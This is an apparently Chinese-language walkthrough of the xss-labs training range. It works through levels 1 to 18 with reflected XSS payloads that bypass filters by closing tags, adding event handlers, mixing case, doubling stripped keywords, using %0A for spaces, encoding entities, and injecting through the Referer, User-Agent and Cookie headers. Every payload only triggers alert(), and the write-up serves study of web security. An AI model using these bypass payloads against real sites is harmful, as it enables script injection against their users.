直接在地址栏后面添加<script>alert('w328')</script>
即可。
<script>alert(''w328)</script>
是不行的,需要将之前的语句闭合。"><script>alert('w328')</script>
,成功直接输入<script>alert('w328')</script>
,查看页面源码:
可以看到本关卡对<、>进行了过滤,查看源码可以看到使用了htmlspecialchars()
函数。
这时我们可以尝试使用input
标签进行尝试,在keyword
后面加入Payload:'onfocus=javascript:alert('xss')+>
,onfocus
事件的原因,需要输入框获取焦点才能生效,点击文本框,弹出窗口,过关。
惯例,直接输入<script>alert('w328')</script>
,查看页面源码:
可以看到,本关依旧采用了htmlspecialchars()
函数对<、>进行了过滤。在查看本关源码:
把上一关卡的payload修改一下:"onfocus=javascript:alert('w328') "
,成功。
惯例,直接输入<script>alert('w328')</script>
,查看页面源码:
查看源码可以看到,服务端对输入的字符串进行了过滤,并将<script
改为了<scr_ipt
,on
改为了o_n
那就说明onfocus
也用不了了呗。上一关的payload进行尝试"onfocus=javascript:alert('w328') "
,失败,onfocus
变成了o_nfocus
。
没有成功,onfocus
也进行了过滤。那么这里使用DOM XSS进行尝试:"><a href=javascript:alert('w328')>w328</a>
,成功。
同上,第五关的所有方式都试了一遍,都被无情的过滤了。
查看源码发现,on\src\data\href都被格式化了,不过可以使用大小写方式进行尝试,成功。
方式一:
"onfocus=javascript:alert('w328') "
修改为:
"oNFocus=javascript:alert('w328') "
方式二:
"><a href=javascript:alert('w328')>w328</a>
修改为:
"><a hREf=javascript:alert('w328')>w328</a>
惯例,直接输入<script>alert('w328')</script>
,查看页面源码:
查看源码:
发现script\on\src\data\href都被过滤掉了,使用大小写试试,失败:
过滤词使用双写方式尝试,成功:
方式一:
"onfocus=javascript:alert('w328') "
修改为:
"oonnfocus=javascrscriptipt:alert('w328') "
方式二:
"><a href=javascript:alert('w328')>w328</a>
修改为:
"><a hrhrefef=javascrscriptipt:alert('w328')>w328</a>
随便输入,发现添加了一个超链接
尝试使用javascript:alert('w328')
,失败,发现被转义了
查看顶部思维导图里:闭合和转义=>html实体转义:javascript:alert(/w328/)
成功
继续随便输入一些字符,查看源码发现,提示我们输入的不是合法链接
那这问题就简单了,链接要求包含http://
,那就使用包含探测:javascript:alert(/xss/)//http://
成功
打开页面后发现没有输入框,看顶部思维导图,直接使用隐藏信息中的,没有输入框,能输入到页面,那就创建输入框:?t_sort="type="text" onmouseover="alert(w328)
成功
本关卡同上,也没有输入框,那继续使用10关的方式尝试?t_sort="type="text" onmouseover="alert(w328)
失败
查看攻略,利用头部信息进行攻击,BurpSuite抓包,在请求头添加Referer:"type="text" onmouseover="alert(/xss/)//
如下图:
发送后,在右侧点击右键,选择Show response inbrowser
,Copy
在浏览器中访问,成功
按照以往惯例,这次再使用Referer
肯定没用了,查看源码,发现可以尝试user-anget
返回顶部查看,在user-agnet
后面增加"type="text" onmouseover="alert(/xss/)//
发送后,在右侧点击右键,选择Show response inbrowser
,Copy
在浏览器中访问,成功
Referer、User-Agent完了,这次该Cooike了。抓包,尝试在Cookie后面增加:" type="text" onmouseover="alert(1)"
成功,查看方式同上。
这关有点单难度,传送门:https://blog.csdn.net/qq_32393893/article/details/104814749
有空了研究!
ng-include
的定义和用法:
ng-include
指令用于包含外部的 HTML文件。ng-include
属性的值可以是一个表达式,返回一个文件名。值得注意的是:
ng-include
如果单纯指定地址,必须要加引号ng-include
加载外部html,script标签中的内容不执行ng-include
加载外部html中含有style标签样式可以识别查看源码:
过滤了<>,然后有ng-include,只要不要使用带<>的payload的,调用之前做过的有xss漏洞的文件,所以就可以构造:?src='level1.php?name=<a href="javascript:alert(/xss/)">'
,成功
空格、反斜杠、script都被str_replace函数替换成 了,但是在HTML中可以将%0A或者%0D当成空格使用。尝试:?keyword=<a%0Aherf='javas%0Acript:alert("xss")'>xss
也可以在图片插入:<img%0Asrc=""%0Aonerror=alert('fuck')>
查看源码,尖括号、双引号均被HTML实体编码;通常是采用闭合的方式xss,但这里直接把尖括号给毙了!所以就得考虑其它思路。
尝试:?arg01=a&arg02=b%0aonmouseover%3dalert(1)
成功
试了一下上一关的payload,成功了。。。。
src的值使用双引号括起来的。
如果想要成功执行js代码肯定需要去闭合标签,但是此处应该还是会用htmlspecialchars()函数进行处理,所以无法成功闭合。
这一关涉及一种xss攻击手段叫做flash xss
Flash产生的xss问题主要有两种方式:
常见的可触发xss的危险函数有:
getURL
navigateToURL
ExternalInterface.call
htmlText
loadMovie
等
要想知道这一关的是不是属于flash xss,只需要对引用的swf文件进行反编译然后进行源码分析。
Level-19\Level-20超出了很多大佬的能力范围,So,日后找到解法了再来补充。
PS:有两个payload,尝试但没有成功,不知道是不是浏览器问题,试了三个都不行。
?arg01=version&arg02=<a href="javascript:alert(1)">123</a>
?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
xss-labs靶场:https://github.com/do0dl3/xss-labs